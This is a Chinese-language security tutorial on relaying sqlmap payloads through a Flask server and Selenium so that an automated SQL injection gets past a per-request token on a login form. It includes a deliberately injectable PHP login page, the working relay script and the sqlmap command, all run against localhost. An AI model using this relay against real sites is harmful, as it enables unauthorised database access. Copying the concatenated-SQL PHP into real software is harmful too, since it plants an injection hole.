使用 flask + selenium 中转 SQLmap 进行注入

本文作者: Z1NG (信安之路 2019 年度荣誉作者)

逛 tools 看到大佬使用这种方式日站,感觉蛮有意思的,就本地来实现玩玩。开头放上原文链接,以表崇拜之情:

通过 selenium 和 flask 中转后利用 sqlmap 进行注入 - T00ls.Com

使用场景

在某些登录框,由于做了 token 保护,当传入的 token 与服务端的不一样的时候就会停止程序进一步的运行。那么如果这个这个登录框存在 SQL 注入 ,却无法自动化攻击,使用手工脱裤难免有些尴尬。又或者前端使用了某种加密方式,而我们传入的 payload 需要先进行这样的加密。这里介绍的 flask + selenium 中转 SQLmap 的方式注入,可以解决上述的问题。

原理

通常一个 token 值都是被隐藏在一个表单之中随着表单一起被发送到服务端,这样使用 selenium 模拟登陆的方式,自然而然可以或得到最新的 token 值,从而绕过保护。那我们如何把 sqlmap 的 payload 传递给 selenium ?显然,我们可以搭建一个 web 服务,接收 sqlmap 传递过来的 payload ,然后通过 selenium 的将 payload 填入到目标站点之中。

实现利用

首先,先编写一个具有注入的登录框,测试代码如下。以下代码主要是设置了一个 token 值,防止表单重复提交。

<?php

session_start(); 

function randStr( $length = 32 ) 

{

    $str = substr(md5(time()), 0, $length);//md5加密,time()当前时间戳

    return $str;

}

if(!isset($_SESSION['token']) || $_SESSION['token']=='') { 

    $_SESSION['token']=randStr();

} 

if(isset($_POST['token'])&&$_POST['token']!==$_SESSION['token']){ 

  $_SESSION['token']=randStr();

  die("token error");

}

$con = mysqli_connect("localhost","root","root","user");

if(!$con){ die("something erorr"); }

if(isset($_POST['username'])&&isset($_POST['password']))
{

  $sql="select * from user where username='".$_POST['username']."' and password='".$_POST['password']."'";


  echo $sql,"<br>";

  $rs = @mysqli_query($con,$sql);

  $r = @mysqli_fetch_array($rs);

}

$_SESSION['token']=randStr();

?>

<html>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<div style="margin:0 auto;width:100px">

  <form action="index.php" method="POST">

    用户名:<input type="text" name="username" id='username'/></br>

    密 码:<input type="password" name="password" id='password'/></br>

    <input type="hidden" name="token" id="token" value=<?php echo $_SESSION['token'];?> />

    <input type="submit" id="submit"/>

  </form>

<div>

</html>

如下两个数据包可以看出,重放数据包由于传入的 token 值和服务端的 token 值不符就会被中断。说明我们的 token 值起到了保护的作用了。

那么接下来,就是构造 flask+selenium 环境,用来中转 payload ,从而绕过这个保护机制。首先要起一个 web 服务承接 sqlmap 发送来的 payload ,然后将 payload 通过 selenium 模拟登陆的方式填入表单。

代码如下:

from flask import Flask

from flask import request

from selenium import webdriver

chrome = webdriver.Chrome()

chrome.get("http://127.0.0.1")

app = Flask(__name__)

def send(payload):

    #起到中转payload效果。

  chrome.find_element_by_id("username").send_keys(payload) #把payload填到有注入点的地方

  chrome.find_element_by_id("password").send_keys("aaaa")

  chrome.find_element_by_id("submit").click()

  return "111" #随便返回一下不重要

@app.route('/')

def index():

    # 接收sqlmap传递过来的payload

    payload = request.args.get("payload")

    return send(payload)


if __name__ == "__main__":

    app.run()

然后把 python 脚本跑起来,接着使用 sqlmap 扫描我们自己搭建的 flask 服务,效果就如下所示。

python sqlmap.py -u"127.0.0.1:5000/?payload=1

就这样,虽然 sqlmap 扫描的是 5000 端口的 flask 服务,但是 payload 就成功的被中转到了目标网站上,也能成功的识别出是否存在注入。

最后

其实这里有个疑问, 经过了中转 sqlmap 为什么还能识别出注入 ?

我猜测,上面的测试用例是基于时间的注入,也就是原本判断目标站点的执行时间,被转换成判断 send 函数的执行时间。而 send 函数的执行时间取决于目标网站的执行时间,因此还是等效的。那么有没有办法识别出布尔型注入呢?这个。。。没做尝试。。如果对 selenium 返回结果进行处理的得当的话,应该是可以识别的。代码写的太垃圾。。。所以就没深究了。。。